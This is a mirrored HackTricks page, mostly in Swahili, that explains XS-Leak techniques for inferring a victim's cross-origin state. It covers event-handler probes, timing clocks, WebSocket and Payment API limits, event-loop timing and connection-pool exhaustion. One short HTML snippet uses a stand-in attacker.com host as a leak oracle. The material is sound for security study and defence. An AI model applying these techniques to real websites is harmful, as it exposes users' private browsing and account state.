mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
915 lines
78 KiB
Markdown
915 lines
78 KiB
Markdown
# XS-Search/XS-Leaks
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
XS-Search ni mbinu inayotumika kwa **kuchota taarifa za cross-origin** kwa kutumia **udhaifu wa njia za pembeni**.
|
|
|
|
Vipengele muhimu vinavyohusika katika shambulio hili ni:
|
|
|
|
- **Mtandao wa Udhaifu**: Tovuti inayolengwa kutoka ambayo taarifa inakusudiwa kuchukuliwa.
|
|
- **Mtandao wa Mshambuliaji**: Tovuti mbaya iliyoundwa na mshambuliaji, ambayo mwathirika anatembelea, ikihifadhi exploit.
|
|
- **Mbinu ya Kujumuisha**: Mbinu inayotumika kuingiza Mtandao wa Udhaifu katika Mtandao wa Mshambuliaji (mfano, window.open, iframe, fetch, tag ya HTML yenye href, n.k.).
|
|
- **Mbinu ya Kuacha**: Mbinu zinazotumika kubaini tofauti katika hali ya Mtandao wa Udhaifu kulingana na taarifa zilizokusanywa kupitia mbinu ya kujumuisha.
|
|
- **Hali**: Masharti mawili yanayoweza kutokea ya Mtandao wa Udhaifu, ambayo mshambuliaji anajaribu kutofautisha.
|
|
- **Tofauti Zinazoweza Kugundulika**: Mabadiliko yanayoweza kuonekana ambayo mshambuliaji anategemea ili kubaini hali ya Mtandao wa Udhaifu.
|
|
|
|
### Detectable Differences
|
|
|
|
Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
|
|
|
|
- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho.
|
|
- **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript.
|
|
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia wale wanaosababishwa na JavaScript au HTML.
|
|
- **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha.
|
|
- **Header ya HTTP**: Kurekodi uwepo au labda thamani ya **header maalum ya majibu ya HTTP**, ikiwa ni pamoja na headers kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
|
|
- **Muda**: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili.
|
|
|
|
### Inclusion Methods
|
|
|
|
- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
|
- **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow.
|
|
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali inayolengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
|
|
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali zinazolengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
|
|
|
|
### Leak Techniques
|
|
|
|
- **Event Handler**: Mbinu ya kawaida ya kuacha katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
|
|
- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za kuacha moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo wake na kutokuwepo.
|
|
- **Mipaka ya Ulimwengu**: Mipaka ya kimwili ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya kuacha.
|
|
- **Hali ya Ulimwengu**: Maingiliano yanayoweza kugundulika na **hali za ulimwengu** za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
|
|
- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na muda wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika.
|
|
- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazosomwa cross-origin** na zinaweza kutumika kama mbinu ya kuacha. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
|
|
|
|
## XSinator Tool & Paper
|
|
|
|
XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
|
|
|
|
Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/)
|
|
|
|
> [!WARNING]
|
|
> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu kuacha nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea makosa ya usanidi na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usanidi ya CrossOrigin Resource Sharing (CORS), kuvuja kwa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.
|
|
|
|
## **Mbinu za Muda**
|
|
|
|
Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.
|
|
|
|
**Saa**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu wabunifu kupata vipimo vya muda vya hali ya juu.\
|
|
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), michoro ya CSS, na zingine.\
|
|
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
|
|
|
|
## Mbinu za Waendeshaji wa Matukio
|
|
|
|
### Onload/Onerror
|
|
|
|
- **Mbinu za Kujumuisha**: Frames, Vitu vya HTML
|
|
- **Tofauti Zinazoweza Kugundulika**: Nambari ya Hali
|
|
- **Maelezo zaidi**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
|
- **Muhtasari**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa wakati rasilimali imepakiwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali.
|
|
- **Mfano wa Kode**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
|
|
|
{{#ref}}
|
|
xs-search/cookie-bomb-+-onerror-xs-leak.md
|
|
{{#endref}}
|
|
|
|
Mfano wa kode unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Aidha, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS).
|
|
|
|
Pia kuna toleo lisilo na script la shambulio hili:
|
|
```html
|
|
<object data="//example.com/404">
|
|
<object data="//attacker.com/?error"></object>
|
|
</object>
|
|
```
|
|
In this case if `example.com/404` is not found `attacker.com/?error` will be loaded.
|
|
|
|
### Onload Timing
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
|
|
- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Hata hivyo, saa nyingine zinaweza kutumika, kama [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) ambayo inaweza kubaini kazi zinazofanyika kwa zaidi ya 50ms.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) mfano mwingine katika:
|
|
|
|
{{#ref}}
|
|
xs-search/performance.now-example.md
|
|
{{#endref}}
|
|
|
|
#### Onload Timing + Forced Heavy Task
|
|
|
|
Teknolojia hii ni kama ile ya awali, lakini **mshambuliaji** pia atafanya **kulazimisha** hatua fulani kuchukua **muda muhimu** wakati **jibu ni chanya au hasi** na kupima muda huo.
|
|
|
|
{{#ref}}
|
|
xs-search/performance.now-+-force-heavy-task.md
|
|
{{#endref}}
|
|
|
|
### unload/beforeunload Timing
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
|
|
|
Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**.
|
|
|
|
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API inaweza kutumika kupima ni muda gani unachukua kufanya ombi. Saa nyingine zinaweza kutumika.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
|
|
|
|
Imethibitishwa kuwa katika ukosefu wa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu handler ya `onload` ya iframe inasababisha tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti inayosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
|
|
```javascript
|
|
// Example of an iframe with the sandbox attribute
|
|
<iframe src="example.html" sandbox></iframe>
|
|
```
|
|
### #ID + error + onload
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**:
|
|
- **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
|
|
- **Code Example**:
|
|
|
|
Kufikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
|
|
|
|
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
|
|
|
|
Kwa mfano:
|
|
|
|
1. **URL1**: www.attacker.com/xssearch#try1
|
|
2. **URL2**: www.attacker.com/xssearch#try2
|
|
|
|
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, tukio la **onload** litazinduliwa **tena**.
|
|
|
|
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** unapofikiwa.
|
|
|
|
### Javascript Execution
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**:
|
|
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **msimbo wa JS halali katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** msimbo wa **washambuliaji** unatekelezwa, na katika kesi **thabiti** **hakuna** kitu kitatekelezwa.
|
|
- **Code Example:**
|
|
|
|
{{#ref}}
|
|
xs-search/javascript-execution-xs-leak.md
|
|
{{#endref}}
|
|
|
|
### CORB - Onerror
|
|
|
|
- **Inclusion Methods**: HTML Elements
|
|
- **Detectable Difference**: Status Code & Headers
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
|
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakua rasilimali fulani nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **msimbo wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inprotected na **CORB**), ikisababisha uvujaji wa taarifa.
|
|
- **Code Example**:
|
|
|
|
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
|
|
|
|
### onblur
|
|
|
|
- **Inclusion Methods**: Frames
|
|
- **Detectable Difference**: Page Content
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
|
|
- **Summary**: Vuja data nyeti kutoka kwa sifa ya id au jina.
|
|
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
|
|
|
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinakuwepo.\
|
|
Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
|
|
|
|
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
|
|
- **Summary**: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
|
|
- **Code Example**: `Any code listening for all postMessages.`
|
|
|
|
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijafafanuliwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
|
|
|
|
## Global Limits Techniques
|
|
|
|
### WebSocket API
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
- **Summary**: Kutoa mipaka ya uhusiano wa WebSocket kunavuja idadi ya uhusiano wa WebSocket wa ukurasa wa cross-origin.
|
|
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
|
|
|
Inawezekana kubaini ikiwa, na ni wangapi, **uunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
|
|
|
|
Ikiwa asili moja inatumia **idadi kubwa ya vitu vya uunganisho wa WebSocket**, bila kujali hali zao za uunganisho, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa ya uhusiano wa WebSocket iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket inayotumiwa na dirisha la tovuti ya lengo**.
|
|
|
|
### Payment API
|
|
|
|
- **Inclusion Methods**: Frames, Pop-ups
|
|
- **Detectable Difference**: API Usage
|
|
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
|
|
- **Summary**: Gundua Ombi la Malipo kwa sababu moja tu inaweza kuwa hai wakati mmoja.
|
|
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
|
|
|
Hii XS-Leak inaruhusu mshambuliaji **gundua wakati ukurasa wa cross-origin unapoanzisha ombi la malipo**.
|
|
|
|
Kwa sababu **ombile moja la malipo linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **makosa ya JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya Payment API**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja tu baada ya kuunda.
|
|
|
|
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
|
|
|
- **Inclusion Methods**:
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
|
- **Summary:** Pima muda wa utekelezaji wa wavuti ukitumia mzunguko wa tukio wa JS wa nyuzi moja.
|
|
- **Code Example**:
|
|
|
|
{{#ref}}
|
|
xs-search/event-loop-blocking-+-lazy-images.md
|
|
{{#endref}}
|
|
|
|
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kupima **ni muda gani msimbo kutoka asili tofauti unachukua kutekelezwa**. Mshambuliaji anaweza kupima muda wa utekelezaji wa msimbo wao wenyewe katika mzunguko wa tukio kwa kuendelea kutuma matukio yenye mali zilizowekwa. Matukio haya yatashughulikiwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa msimbo kutoka asili tofauti, ikifichua taarifa nyeti.
|
|
|
|
> [!WARNING]
|
|
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **sababu za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumika na ukurasa kabla ya kuupakia.
|
|
|
|
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
|
|
|
- **Inclusion Methods**:
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
|
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti ni kuzuia kwa makusudi mzunguko wa tukio wa nyuzi na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa msimbo unaofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
|
|
- **Code Example**:
|
|
|
|
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Site Isolation**. **Site Isolation** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti za uhalifu kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Site Isolation**.
|
|
|
|
> [!WARNING]
|
|
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **sababu za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumika na ukurasa kabla ya kuupakia.
|
|
|
|
### Connection Pool
|
|
|
|
- **Inclusion Methods**: JavaScript Requests
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
- **Summary:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na kwa wakati mmoja kupakia ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakia ni muda ambao ukurasa wa lengo ulitumia kupakia.
|
|
- **Code Example**:
|
|
|
|
{{#ref}}
|
|
xs-search/connection-pool-example.md
|
|
{{#endref}}
|
|
|
|
Vivinjari vinatumia soketi kwa mawasiliano ya seva, lakini kutokana na rasilimali zilizopunguka za mfumo wa uendeshaji na vifaa, **vivinjari vinapaswa kuweka kikomo** kwenye idadi ya soketi zinazofanya kazi kwa wakati mmoja. Washambuliaji wanaweza kutumia kikomo hiki kupitia hatua zifuatazo:
|
|
|
|
1. Tambua kikomo cha soketi za kivinjari, kwa mfano, soketi 256 za kimataifa.
|
|
2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji mbalimbali, iliyoundwa kuweka uhusiano wazi bila kukamilisha.
|
|
3. Tumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
|
|
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa upatikani unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
|
|
|
|
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
|
|
|
### Connection Pool by Destination
|
|
|
|
- **Inclusion Methods**: JavaScript Requests
|
|
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
|
|
- **More info**:
|
|
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa wakati mmoja kwa asili ile ile**. Ikiwa tutazuia **5** na kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** ombi zaidi **kwa mwisho huo** ili kugundua **hali** ya **ukurasa**, **ombile la 6** litachukua **muda mrefu** na tunaweza kuligundua.
|
|
|
|
## Performance API Techniques
|
|
|
|
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa zinapatikana.
|
|
|
|
